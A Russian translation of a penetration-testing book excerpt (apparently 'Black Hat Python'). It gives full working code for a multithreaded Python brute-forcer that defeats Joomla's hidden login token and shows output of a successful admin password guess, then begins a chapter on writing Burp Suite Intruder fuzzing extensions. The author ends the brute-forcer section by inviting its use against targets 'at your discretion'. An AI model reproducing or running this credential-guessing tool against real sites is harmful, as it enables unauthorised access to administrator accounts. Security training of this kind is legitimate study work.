Установка Kali Linux
Скачать 2.4 Mb.
|
Прочитав эту форму, мы получаем некоторую ценную информацию, которую нам нужно прописать в наш брут-форсер. Во-первых, форма отправляется по пути /administrator/index.php, как HTTP запрос типа POST. Далее, все поля формы требуют заполнения, чтобы отправка формы была успешной. В частности, если вы посмотрите на последне спрятанное поле, вы увидите, что его атрибут имени приписан к длинной рандомизированной строке. Это необходимая часть метода защиты от брутфорсинга в Joomla. Эта рандомизированная строка проверяется в вашей текущей сессии пользователя, которая хранится в cookie и даже если вы передаете верные учетные данные в скрипт обработки авторизации, если рандомизированный маркер будет отсутствовать, то аутентификация не будет успешной. Это означает, что нам придется использовать следующий поток запроса в нашем брут-форсере: 1. Восстановить страницу авторизации и принять все cookies. 2. Провести парсинг всех элементов формы из HTML. 3. Задать имя пользователя или пароль наугад из нашего словаря. 4. Отправить HTTP POST в скрипт обработки авторизации, в том числе все поля формы HTML и наши cookies. 5. Проверить, удачен ли вход в веб-приложение. Вы могли заметить, что мы будем использовать новые и эффективные методы в этом скрипте. Хочу также отметить, что вы никогда не должны испытывать свои инструменты на живой цели; всегда проводите установку целевого веб-приложения, имея известные вам учетные данные и проверяйте, сможете ли вы получить желаемый результат. Давайте откроем новый Python файл и назовем его joomla_killer.py. Пропишем следующий код: import urllib2 import urllib import cookielib import threading import sys import Queue from HTMLParser import HTMLParser # general settings user_thread = 10 username = "admin" wordlist_file = "/tmp/cain.txt" resume = None # target specific settings target_url = "http://192.168.112.131/administrator/index.php" ➊ target_post = "http://192.168.112.131/administrator/index.php" username_field= "username" ➋ password_field= "passwd" success_check = "Administration Control Panel" ➌ Эти настройки требуют разъяснений. Переменная target_url — это то, откуда наш ➊ скрипт сначала скачает и спарсит HTML. Переменная target_post — это то, на что будет нацелена наша брут-форс атака. Проведя краткий анализ HTML на странице авторизации в Joomla, мы можем задать переменные username_field и password_field к ➋ соответствующим HTML элементам. Наша переменная success_check — это строка, которую мы будем проверять после ➌ каждой попытки брут-форс атаки, для того чтобы определить, была атака успешной или нет. Следующий код будет вам знаком, подробнее я остановлюсь лишь на новейших методах. class Bruter(object): def __init__(self, username, words): self.username = username self.password_q = words self.found = False print "Finished setting up for: %s" % username def run_bruteforce(self): for i in range(user_thread): t = threading.Thread(target=self.web_bruter) t.start() def web_bruter(self): while not self.password_q.empty() and not self.found: brute = self.password_q.get().rstrip() ➊ jar = cookielib.FileCookieJar("cookies") opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar)) response = opener.open(target_url) page = response.read() print "Trying: %s : %s (%d left)" % (self.username,brute,self. password_q.qsize()) #parse out the hidden fields ➋ parser = BruteParser() parser.feed(page) post_tags = parser.tag_results # add our username and password fields post_tags[username_field] = self.username ➌ post_tags[password_field] = brute login_data = urllib.urlencode(post_tags) ➍ login_response = opener.open(target_post, login_data) login_result = login_response.read() if success_check in login_result: ➎ self.found = True print "[*] Bruteforce successful." print "[*] Username: %s" % username print "[*] Password: %s" % brute print "[*] Waiting for other threads to exit..." Это наш главный класс брутфорсинга, который будет работать с HTTP запросами и управлять за нас cookies. После того, как мы получим пароль, мы настраиваем наше хранилище cookie при помощи класса ➊ FileCookieJar, который будет хранить все cookies в файле cookies. Затем мы инициализируем нашу urllib2 , переходим в хранилище cookie и сообщаем urllib2 передать туда любые cookies. Затем мы делаем начальный запрос в форму авторизации. Когда у нас есть сырой HTML, мы передаем его нашему HTML парсеру и вызываем метод класса Feed , в результате мы получаем словарь со всеми ➋ полученными элементами формы. После того, как мы успешно спарсили HTML, мы заменяем поля имени пользователя и пароля при помощи брут-форс атаки . Затем мы ➌ шифруем POST-переменные в URL , а потом передаем их в наш последующий HTTP ➍ запрос. После получения результатов нашей попытки аутентификации, мы проверяем была ли она успешна или нет .. Добавьте следующий класс в скрипт ➎ joomla_killer.py: class BruteParser(HTMLParser): def __init__(self): HTMLParser.__init__(self) ➊ self.tag_results = {} def handle_starttag(self, tag, attrs): if tag == "input": ➋ tag_name = None tag_value = None for name,value in attrs: if name == "name": tag_name = value ➌ if name == "value": tag_value = value ➍ if tag_name is not None: ➎ self.tag_results[tag_name] = value Это формирует особый HTML класс для парсинга, который нам нужен для нашей цели. Как только вы научитесь основам использования класса HTMLParser, вы можете адаптировать его для извлечения информации из любого веб-приложения, которое вы атакуете. Первым делом, мы создаем словарь, в котором будут храниться наши результаты . Когда мы вызываем функцию ➊ feed, она переходит в HTML документ и вызывается наша функция handle_starttag , как только встречается тег. В частности, нас интересуют теги HTML input и основная обработка начинается, ➋ когда мы определяем, что нашли один такой тег. Мы начинаем итерацию атрибутов тега и если мы находим имя или значение атрибутов, то мы определяем их в словарь ➌ ➍ tag_results . Как только HTML обработан, в процессе брутфорсинга мы можем ➎ заменить поля с именем пользователя и паролем, оставив другие поля нетронутыми. Основы HTML парсера Есть три основных метода, которые вы можете применять, используя класс HTMLParser: handle_starttag, handle_endtag и handle_data . Функция handle_starttag будет вызываться каждый раз, когда будет обнаружен открывающий HTML тег. Наоборот, функция handle_endtag будет вызвана, когда обнаруживается закрывающий HTML тег. Функция handle_data вызывается, когда между тегами обнаруживается сырой текст. Прототипы каждой функции будут немного отличаться: handle_starttag(self, tag, attributes) handle_endttag(self, tag) handle_data(self, data) Простой пример для иллюстрации: handle_starttag => tag variable would be "title" handle_data => data variable would be "Python rocks!" handle_endtag => tag variable would be "title" Поняв суть HTMLParser, вы сможете парсить формы, находить ссылки для глобального поиска в сети, извлекать чистый текст для анализа данных или находить все изображения на странице. В завершении, скопируйте и вставьте функцию build_wordlist из предыдущего раздела главы и добавьте следующий код: # paste the build_wordlist function here words = build_wordlist(wordlist_file) bruter_obj = Bruter(username,words) bruter_obj.run_bruteforce() Вот и все! Мы просто отправили имя пользователя и наш список слов в Bruter, а теперь смотрим, как происходит волшебство. Проверка на деле Если на вашей виртуальной машине Kali еще не установлена Joomla, то пора ее установить. Моя целевая виртуальная машина имеет адрес 192.168.112.131 , и я использую список слов, предоставленный Cain and Abel [12], популярным инструментом для перебора паролей. Я уже заранее задал имя пользователя admin и пароль justin при установке Joomla, чтобы я мог убедиться, что все работает. Затем я добавил justin в файл списка слов cain.txt, примерно 50 записей. Когда я запускаю скрипт, я получаю следующий результат: $ python2.7 joomla_killer.py Finished setting up for: admin Trying: admin : 0racl38 (306697 left) Trying: admin : !@#$% (306697 left) Trying: admin : !@#$%^ (306697 left) snip Trying: admin : 1p2o3i (306659 left) Trying: admin : 1qw23e (306657 left) Trying: admin : 1q2w3e (306656 left) Trying: admin : 1sanjose (306655 left) Trying: admin : 2 (306655 left) Trying: admin : justin (306655 left) Trying: admin : 2112 (306646 left) [*] Bruteforce successful. [*] Username: admin [*] Password: justin [*] Waiting for other threads to exit... Trying: admin : 249 (306646 left) Trying: admin : 2welcome (306646 left) Вы видите, что брут-форс атака прошла успешно и произошел вход в административную панель Joomla. Для подтверждения, вы, конечно, можете войти в панель вручную. Когда вы протестируете на местном уровне и убедитесь, что все работает, вы можете использовать этот инструмент в отношении целевого объекта Joomla на свое усмотрение. [10] Проект DirBuster: https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project [11] Проект SVNDigger: https://www.mavitunasecurity.com/blog/svn-digger-better-lists-for-forced-browsing/ [12]Cain and Abel: http://www.oxid.it/cain.html Глава 6. Расширяем функционал Burp Proxy Если у вас уже был опыт попытки взлома веб-приложения, то, скорее всего, вы пользовались Burpe Suite для поиска файлов и папок или совершения других атак. Последние версии Burpe Suite дают возможность добавлять свой инструментарий. Возможности Burpe можно расширить при помощи Extensions Используя Python, Ruby или Java, вы можете добавлять панели в GUI-интерфейс и создавать методы автоматизации. Мы воспользуемся этой возможностью и добавим несколько полезных инструментов в Burp для совершения атак и расширения возможностей разведки. Первое расширение позволит нам использовать перехваченный HTTP-запрос от Burp Proxy для создания мутирующего фаззера, который мы сможем запустить в Burp Intruder. Второе расширение будет соединено с Microsoft Bing API, чтобы показать нам все виртуальные хосты, расположенные по тому же IP-адресу, что и наш целевой сайт, а также любые поддомены, обнаруженные для целевого домена. Предположу, что вы уже экспериментировали с Burp ранее и вы знаете, как перехватывать запросы при помощи инструменты Proxy, а также, как отправлять перехваченный запрос в Burp Intruder. Если вам нужно руководство, как выполнять все эти задачи, то посетите PortSwigger Web Security ( http://www.portswigger.net/ ). Должен признать, что, когда я только начал изучать Burp Extender API, я не с первого раза понял, как все работает. Так как я работаю исключительно на Python и у меня ограниченный опыт разработки на Java, то Burp оказался для меня не таким легким. Но я посмотрел, как другие разрабатывали расширения и это помогло мне понять, как начать писать свой код. Об основах я расскажу в этой главе, но я также покажу вам, как использовать API документацию, в качестве руководства для разработки собственных расширений. Настройка Сначала скачиваем Burp по ссылке http://www.portswigger.net/ . Как бы мне не хотелось это говорить, но вам потребуется последняя версия Java, для которой у всех операционных систем есть пакеты или инсталляторы. Следующий шаг — берем отдельный JAR-файл, он принадлежит Jython реализации языка Python на языке Java. Мы направим туда Burp. Вы сможете найти JAR-файл на сайте No Starch вместе с оставшимся кодом ( http://www.nostarch.com/blackhatpython/ ) или перейдите на официальный сайт по ссылке http://www.jython.org/downloads.html и выберите инсталлятор Jython 2.7. Пусть вас не пугает название, на самом деле, это всего лишь JAR-файл. Сохраните JAR-файл в месте, где вы про него не забудете и сможете легко найти, например, прямо на рабочем столе. Затем, открываем терминал и запускаем Burp следующим образом: #> java XX:MaxPermSize=1G jar burpsuite_pro_v1.6.jar Эта команда запустить Burp и вы должны увидеть пользовательский интерфейс с большим количеством отличных вкладок, как показано на Рис. 6-1. Теперь, давайте откроем Burp в нашем интерпретаторе Jython. Нажимаем на вкладку Extender и кликаем на вкладку Options. В разделе Python Environment, выберите местоположение JAR- файла, как показано на Рис. 6-2. Все должно быть готово к написанию нашего первого расширения. Начнем! Рис. 6-1. Правильная загрузка GUI-интерфейса Burp Suite. Рис. 6-2. Конфигурация местоположения интерпретатора Jython. Фаззинг Burp Наверняка, рано или поздно вы столкнетесь с такой ситуацией, что при попытке атаковать веб-приложение или веб-сервис, вы увидите, что, они не позволяют вам использовать традиционные инструменты оценки. Неважно, работаете вы с бинарным протоколом в HTTP- трафике или сложными JSON запросами, крайне важно иметь возможность проводить тестирование на стандартные баги веб-приложений. В приложении может использоваться большое количество параметров или приложение настолько запутанное, что ручное тестирование займет неоправданно много времени. Признаюсь, я пользоваться стандартными инструментами, которые не предназначены для работы с незнакомыми протоколами и в большинстве случаев даже с JSON. Именно в такие моменты, будет полезно оптимизировать Burp, чтобы установить надежную базу HTTP-трафика, в том числе аутентификацию cookies, при этом, передавая тело запроса специальному фаззеру, который затем сможет манипулировать полезной нагрузкой так, как вам хочется. Мы создадим наше первое Burp расширение для создания самого простого в мире фаззера веб-приложений, но затем вы сможете добавить ему больший функционал. В Burp есть ряд инструментов, которые можно использовать для тестирования веб- приложений. Обычно захват запросов происходит при помощи Proxy, а когда вы видите, что интересный запрос прошел мимо, вы отправляете его в еще один инструмент Burp. Я использую распространенный метод и отправляю такие запросы в Repeater, что позволяет мне проигрывать веб-трафик, а также вручную модифицировать любые интересные места. Для выполнения более автоматических атак в параметрах запроса, вы будете отправлять запрос в Intruder, который попытается автоматически вычислить, какие области веб-трафика следует модифицировать, а затем вы сможете использовать разные атаки, чтобы попытаться выявить сообщения об ошибках и уязвимости. Расширение Burp может по-разному взаимодействовать с инструментарием Burp Suite. В нашем случае, мы будет внедрять дополнительную функциональность напрямую в инструмент Intruder. Моим первым естественным желанием было изучить API документацию Burp, чтобы определить, какие классы Burp мне следует расширить, чтобы написать свое расширение. Вы можете получить доступ к этой документации, если нажмете на вкладку Extender, а затем на вкладку API. Вас это может обескуражить, потому что все это очень напоминает Java. Первое, что мы замечаем — то, что разработчики Burp как нельзя лучше назвали каждый класс, поэтому не составляет труда понять, откуда нам нужно начинать. В частности, так как нас интересует фаззинг веб-запросов во время атаки Intruder, то я обращаю внимание на классы IntruderPayloadGeneratorFactory и IintruderPayloadGenerator Давайте посмотрим, что сказано про класс IintruderPayloadGeneratorFactory в документации: /** * Extensions can implement this interface and then call * IBurpExtenderCallbacks.registerIntruderPayloadGeneratorFactory() ➊ * to register a factory for custom Intruder payloads. */ public interface IIntruderPayloadGeneratorFactory { /** * This method is used by Burp to obtain the name of the payload * generator. This will be displayed as an option within the * Intruder UI when the user selects to use extensiongenerated * payloads. * * @return The name of the payload generator. */ String getGeneratorName(); ➋ /** * This method is used by Burp when the user starts an Intruder * attack that uses this payload generator. * @param attack * An IIntruderAttack object that can be queried to obtain details * about the attack in which the payload generator will be used. * @return A new instance of * IIntruderPayloadGenerator that will be used to generate * payloads for the attack. */ IIntruderPayloadGenerator createNewInstance(IIntruderAttack attack); ➌ } Первая часть документации сообщает, чтобы мы правильно зарегистрировали наше ➊ расширение. Мы планируем расширять главный класс Burp, а также класс IintruderPayloadGeneratorFactory . Далее, мы видим, что Burp ожидает от нас в главном классе две функции. Функция getGeneratorName будет вызвана Burp, чтобы ➋ получить имя нашего расширения, и ожидается, что мы должны будем вернуть строку из функции. Функция createNewInstance предполагает, что мы вернем из функции ➌ экземпляр IintruderPayloadGenerator , что будет вторым классом, который нам нужно создать. Теперь давайте внедрим код Python, чтобы все эти требования были удовлетворены и затем мы посмотрим, как добавится класс IintruderPayloadGenerator |